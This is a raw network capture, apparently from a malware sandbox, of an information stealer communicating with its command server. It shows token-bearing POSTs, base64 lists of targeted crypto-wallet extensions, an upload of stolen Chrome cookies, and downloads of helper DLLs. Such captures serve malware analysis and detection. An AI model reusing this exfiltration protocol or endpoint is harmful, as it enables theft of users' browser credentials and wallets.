Sep 27, 2024 16:18:19.292768002 CEST	468	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBF Host: 185.215.113.17 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="message"plugins------JKKKJJJKJKFHJJJJECBF--
Sep 27, 2024 16:18:19.517903090 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 27, 2024 16:18:19.517952919 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 27, 2024 16:18:19.517966986 CEST	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 27, 2024 16:18:19.518045902 CEST	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Sep 27, 2024 16:18:19.518059969 CEST	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Sep 27, 2024 16:18:19.518075943 CEST	1236	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Sep 27, 2024 16:18:19.518749952 CEST	916	IN	Data Raw: 62 57 70 74 61 32 4e 68 5a 6d 4e 6f 63 48 42 69 62 6e 42 75 61 47 52 74 62 32 35 38 4d 58 77 77 66 44 42 38 52 57 78 73 61 53 41 74 49 46 4e 31 61 53 42 58 59 57 78 73 5a 58 52 38 62 32 4e 71 5a 48 42 74 62 32 46 73 62 47 31 6e 62 57 70 69 59 6d Data Ascii: bWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWp
Sep 27, 2024 16:18:19.522239923 CEST	469	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEGCGCGIEGDHIDHJJEH Host: 185.215.113.17 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 47 43 47 43 47 49 45 47 44 48 49 44 48 4a 4a 45 48 2d 2d 0d 0a Data Ascii: ------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------BAEGCGCGIEGDHIDHJJEHContent-Disposition: form-data; name="message"fplugins------BAEGCGCGIEGDHIDHJJEH--
Sep 27, 2024 16:18:19.896739960 CEST	335	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:19 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Sep 27, 2024 16:18:20.073918104 CEST	202	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFIDGIIIJDBGDGDAKKF Host: 185.215.113.17 Content-Length: 7015 Connection: Keep-Alive Cache-Control: no-cache
Sep 27, 2024 16:18:20.073950052 CEST	7015	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 49 44 47 49 49 49 4a 44 42 47 44 47 44 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 Data Ascii: ------DBFIDGIIIJDBGDGDAKKFContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------DBFIDGIIIJDBGDGDAKKFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Sep 27, 2024 16:18:20.389223099 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:20.716222048 CEST	93	OUT	GET /f1ddeb6592c03206/sqlite3.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Sep 27, 2024 16:18:20.942336082 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Sep 27, 2024 16:18:20.942395926 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Sep 27, 2024 16:18:22.455005884 CEST	952	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCGDBGCAAEBFIECGHDG Host: 185.215.113.17 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGCGDBGCAAEBFIECGHDGContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------DGCGDBGCAAEBFIECGHDG--
Sep 27, 2024 16:18:22.760163069 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:23.661273956 CEST	564	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFCGHIDHCAKEBFCFHC Host: 185.215.113.17 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 43 47 48 49 44 48 43 41 4b 45 42 46 43 46 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KECFCGHIDHCAKEBFCFHCContent-Disposition: form-data; name="file"------KECFCGHIDHCAKEBFCFHC--
Sep 27, 2024 16:18:24.139462948 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:25.157778025 CEST	564	OUT	POST /2fb6c2cc8dce150a.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEBGHDBKEBGIDHJJEHC Host: 185.215.113.17 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 33 35 30 63 30 62 37 31 65 63 61 62 35 61 62 32 37 34 66 35 66 62 61 63 38 64 66 65 36 34 64 38 62 31 31 32 35 32 38 31 37 61 61 32 63 36 32 62 38 64 61 34 39 64 37 35 31 66 33 32 36 38 32 65 64 61 61 65 32 63 63 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 42 47 48 44 42 4b 45 42 47 49 44 48 4a 4a 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="token"3350c0b71ecab5ab274f5fbac8dfe64d8b11252817aa2c62b8da49d751f32682edaae2cc------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAEBGHDBKEBGIDHJJEHCContent-Disposition: form-data; name="file"------CAEBGHDBKEBGIDHJJEHC--
Sep 27, 2024 16:18:25.475097895 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 27, 2024 16:18:26.877573967 CEST	93	OUT	GET /f1ddeb6592c03206/freebl3.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Sep 27, 2024 16:18:27.105478048 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Sep 27, 2024 16:18:27.960769892 CEST	93	OUT	GET /f1ddeb6592c03206/mozglue.dll HTTP/1.1 Host: 185.215.113.17 Cache-Control: no-cache
Sep 27, 2024 16:18:28.182197094 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 14:18:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 